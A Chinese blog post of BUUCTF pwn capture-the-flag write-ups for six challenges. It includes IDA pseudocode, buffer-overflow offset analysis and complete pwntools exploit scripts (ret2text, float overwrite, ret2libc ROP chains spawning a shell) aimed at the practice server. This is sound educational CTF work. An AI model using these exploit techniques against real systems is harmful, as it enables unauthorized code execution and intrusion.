buuctf--pwn小结1test_your_nc

参考链接:
1、BUUCTF刷题(持续更新)
2、BUUCTF-PWN刷题日记

0x01 test_your_nc

参考链接:https://blog.csdn.net/qq_42404383/article/details/103625124
在这里插入图片描述

(1)、思路:看名字,然后直接用nc
  • nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

网络调试——测试端口号能否连接 :nc -zv 主机的ip或域名 端口号

-z告诉netcat,用户不想发送数据给主机,nc不用等待用户输入。
-v告诉netcat输出详细的交互过程。

在这里插入图片描述

(2)、过程:连上,cat flag

在这里插入图片描述

0x02 rip1

参考链接:BUUCTF_Pwn_RIP覆盖一下

IDA基本使用规则:https://www.cnblogs.com/aikongmeng/articles/10657479.html

使用peda调式时,出现错误:/bin/bash: 第 0 行: exec: /root/pwn1: 无法执行: 权限不够
参考链接:https://zhidao.baidu.com/question/573978822.html

(1)、思路:
1.1、查看文件信息
checksec 文件名 #查看文件的保护机制

可以发现,没有什么保护机制,即一道简单的栈溢出
在这里插入图片描述

1.2、代码审计

放入IDA中查看文件的基本信息,伪代码如下:
在这里插入图片描述
如下,为fun的地址以及 fun 的伪代码。
在这里插入图片描述
在这里插入图片描述
由上伪代码,可得思路:将main函数执行结束后得ret返回地址构造为 fun函数的首地址0x401186,那么当我们执行完main函数后,将会执行fun函数从而得到shell。
方法:在gets()函数输入时,利用超长字符将fun()函数的首地址溢出到main函数的ret返回地址。

接下来,输入超长字符溢出定址。
在这里插入图片描述
如下图,可以发现,偏移量为23。
在这里插入图片描述

1.3、构造exp
payload = 超长字符 + fun_addr

最开始按照老师之前给的思路写了一个exp,但是出现了一些错误,在此记录一下。

from pwn import *
r = remote("node3.buuoj.cn",26428)

offset = 23 
fun_addr =  0x401186 # address of fun
payload ='a'*offset+p64(0x401186) 

r.sendline(payload)
r.interactive()

执行结果:Got EOF while reading in interactive
在这里插入图片描述

更正后的exp为:

from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',26428)
 
sys_addr=0x0401186
retn_addr=0x0401185
#p.recvuntil("input")
payload='a'*23+p64(retn_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()

执行结果:
在这里插入图片描述
结果:
flag{bd6c09f6-52a7-49d2-a47e-5d2f9e8e3031}

0x03 warmup_csaw_2016

(1)、思路
1.1、查看安全信息

在这里插入图片描述

1.2、代码审计

在这里插入图片描述

#如下为mian()函数的伪代码
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5, ">");
}

int sub_40060D() //0x40060D
{
  return system("cat flag.txt");
}

超长字符溢出定位:
在这里插入图片描述
在这里插入图片描述

1.3、构造exp

方法一:类似于上一题

payload = 超长字符 + fun_addr
from pwn import *
#p=process("./warmup_csaw_2016")
p=remote("node3.buuoj.cn",28524)
#gdb.attach(p)
p.recvuntil(">")
payload="a"*72+p64(0x40060D)+p64(0x40060D+1)
p.sendline(payload)
p.interactive()

执行结果:
在这里插入图片描述

方法二:构造system的参数

payload = 填充字符 + "/bin/sh" + system_addr

from pwn import *
p=remote('node3.buuoj.cn',28524)
 
binsh_addr=0x40
sys_addr=0x40060D
 
p.recvuntil(">")
payload='/bin/sh'
payload=payload.ljust(0x48,'a')
payload+=p64(sys_addr)
p.sendline(payload)
p.interactive()

执行结果;
在这里插入图片描述

0x04 pwn1_sctf_2016

(1)、思路
1.1、查看文件信息

如下,可知文件为32位编写的程序,并且打开了NX保护。
在这里插入图片描述

1.2、代码审计
拓展函数:fgets()、replace()、strcpy()

fgets()函数功能:从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

char *fgets(char *str, int n, FILE *stream)

str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。

replace()函数包含于头文件#include中。
参考链接:C++ replace() 函数用法详解

即replace的执行要遍历由区间[frist,last)限定的整个队列,以把old_value替换成new_value。

strcpy()函数功能:把 src 所指向的字符串复制到 dest。需要注意的是如果目标数组 dest 不够大,而源字符串的长度又太长,可能会造成缓冲溢出的情况。

char *strcpy(char *dest, const char *src)

dest -- 指向用于存储复制内容的目标数组。
src -- 要复制的字符串。
返回值:该函数返回一个指向最终的目标字符串 dest 的指针。

std::string::operator=(&input, &s);
作用:就是 将s指针赋值到 inputs地址里了。

放入IDA32位显示的伪代码如下:

# mian()函数伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}


#vul()函数伪代码如下:
int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);//将s_addr复制到input_addr中
  									//即执行后input_addr地址里面的存的内容是s_addr地址
  									
  std::allocator<char>::allocator(&v5);//给v5申请内存
  std::string::string(&v4, "you", &v5);//v4被赋值为“you”,v5不变
  std::allocator<char>::allocator(&v7);//给v5申请内存
  std::string::string(&v6, "I", &v7);//v6被赋值为“I”,v7不变
  
  replace((std::string *)&v3); 
  std::string::operator=(&input, &v3, &v6, &v4);//正常的话 这两行行应该是下面的样子:
  												//replace (v3,&inputs,"I","you");
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);//获取C字符串等效返回一个数组的指针,该数组包含一个以null结尾的字符序列
  																// (即表示字符串对象的当前值。该数组包含组成字符串对象的值的相同字符序列,并在末尾附加一个终止空字符('\0')。
 
  strcpy(&s, v0);	//栈溢出漏洞
  return printf("So, %s\n", &s);
}


#get_flag()函数伪代码
int get_flag() //0x08048F0D
{
  return system("cat flag.txt");
}

含有strcpy()函数,我们可以试试栈溢出漏洞,且存在后门函数即 get_flag() 。程序的流程其实输入字符串有字节限制:32,并且将字符串中的 ** “I"变成"you” ** ,然后变之后的 字符串再存在&s处,偏移是 ebp-3Ch(查看伪代码)。
0x3c加上ebp的四个字节,ret_addr 的4字节,需要 0x3c+4+4 = 68 字节。
如果输入 I ,那么程序会把 I 变成you。因此当我们输入21个“I”的话就会被变成21个“you”,即相当于输入了63字节。

from pwn import *

context.log_level = 'debug'
p=process("./pwn1_sctf_2016")
p=remote("node3.buuoj.cn",25678)
#p.recvuntil("Tell me something about yourself: ")
payload="I"*21+"a"+p32(0x08048F0D)

p.sendline(payload)
p.interactive()

输出结果:
在这里插入图片描述

0x05 ciscn_2019_n_1 1

(1)、思路

查看文件信息:打开了nx保护机制,64位文件
在这里插入图片描述

拓展函数:setvbuf()
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)

stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer -- 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode -- 这指定了文件缓冲的模式:
size --这是缓冲的大小,以字节为单位。

返回值:如果成功,则该函数返回 0,否则返回非零值。

模式描述
_IOFBF全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
_IOLBF行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
_IONBF无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。

放入ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]
  			//可以发现 v1 到 v2的偏移量为 30h-4h = 0x2c h

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1); //可能导致溢出漏洞
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

int setvbuf(FILE *stream, char *buf, int modes, size_t n)
{
  return setvbuf(stream, buf, modes, n);
}

从伪代码,我们可以发现满足 if ( v2 == 11.28125 ),那么将会执行system(“cat /flag”)。而v2的初始值为0.0并且没有渠道进行改变;而函数可以gets函数输入v1的值,因此可以通过超长溢出输入将v2的值溢出为 11.28125,从而满足 if ( v2 = = 11.28125 )。
由上面伪代码分析可得,通过 v1 溢出达到 v2得偏移量为 30h-4h = 0x2c h
我们需要将 v2的覆盖为 11.28125(float浮点数),我们gets输入的是char类型,但是需要覆盖的为 浮点数,这个转化该怎么办呢?

在线工具:http://lostphp.com/hexconvert/
在这里插入图片描述
因此,直接将 0x41348000加在payload后面即可有 v2 == 11.28125 的效果。

(2)、exp构造

from pwn import *
#context.log_level = 'debug'
#p=process("./ciscn_2019_n_1")
p=remote("node3.buuoj.cn",28429)
#p.recvuntil("Tell me something about yourself: ")
payload="I"*(0x30-0x4)+p32(0x41348000)

p.sendline(payload)
p.interactive()

输出结果:
在这里插入图片描述

0x06 ciscn_2019_c_1

(1)、思路

查看文件信息:64位,打开了nx保护机制
在这里插入图片描述

拓展函数:fflush()

fflush()函数

int fflush(FILE *stream)

stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个缓冲流。

返回值:如果成功,该函数返回零值。如果发生错误,则返回 EOF,且设置错误标识符(即 feof)。

伪代码分析:

// local variable allocation has failed, the output may be wrong!
//局部变量分配失败,输出可能错误!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  init(*(_QWORD *)&argc, argv, envp);//init进程,它是内核启动的第一个用户级进程。
  //init有许多很重要的任务,比如像启动getty(用于用户登录)、实现运行级别、以及处理孤立进程。
  
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin("Welcome to this Encryption machine\n");
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);//scanf输入v4的值
      getchar(); //在输入缓冲区顺序读入一个字符(包括空格、回车和Tab)
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin("I think you can do it by yourself");//输入选项
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin("%d");
  }
  puts("Something Wrong!");
  return 0;
}

int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s); //栈溢出漏洞函数
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) ) //strlen()在读取字符串时遇到’\x00‘即空字符停止读取
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu; //异或处理
      }
      else
      {
        s[x] ^= 0xEu; //异或处理
      }
    }
    else
    {
      s[x] ^= 0xDu; //异或处理
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

(2)、exp

参考链接:
方法一:https://darkwing.moe/2019/11/26/ciscn-2019-c-1/
方法二:BUUCTF刷题(持续更新)

方法一:


from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=process("./ciscn_2019_c_1")
p=remote("node3.buuoj.cn",25495)

elf=ELF("./ciscn_2019_c_1")


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=0x400790
pop_rdi_ret=0x400c83

payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)

p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)


p.recvuntil('@')
p.recvline()
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print "puts_addr is "+hex(puts_addr)

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")

print "libc_base is "+hex(libc_base)
print "system_addr is "+hex(system_addr)
print "str_bin_sh is "+hex(str_bin_sh)

ret_addr=0x4006b9
payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

payload="a"*0x50+"a"*0x8+p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)

p.interactive()

方法二:

# encoding=utf-8
from pwn import *
 
sh = remote('node3.buuoj.cn',25319)
elf = ELF('./ciscn_2019_c_1')
 
start = elf.sym['main']
rdi_addr = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']
 
sh.sendlineafter('choice!\n', '1')
payload1 = 'a' * 88 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start)
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()
puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts==>'+hex(puts_leak))
 
libc = ELF('./libc/libc-2.27.so')
libc_base = puts_leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
 
bin_sh_addr = libc_base + 0x001b3e9a
 
sh.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88 + p64(rdi_addr) + p64(bin_sh_addr) +p64(0x0400C1C)+ p64(sys_addr)
sh.sendline(payload2)
sh.interactive()

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值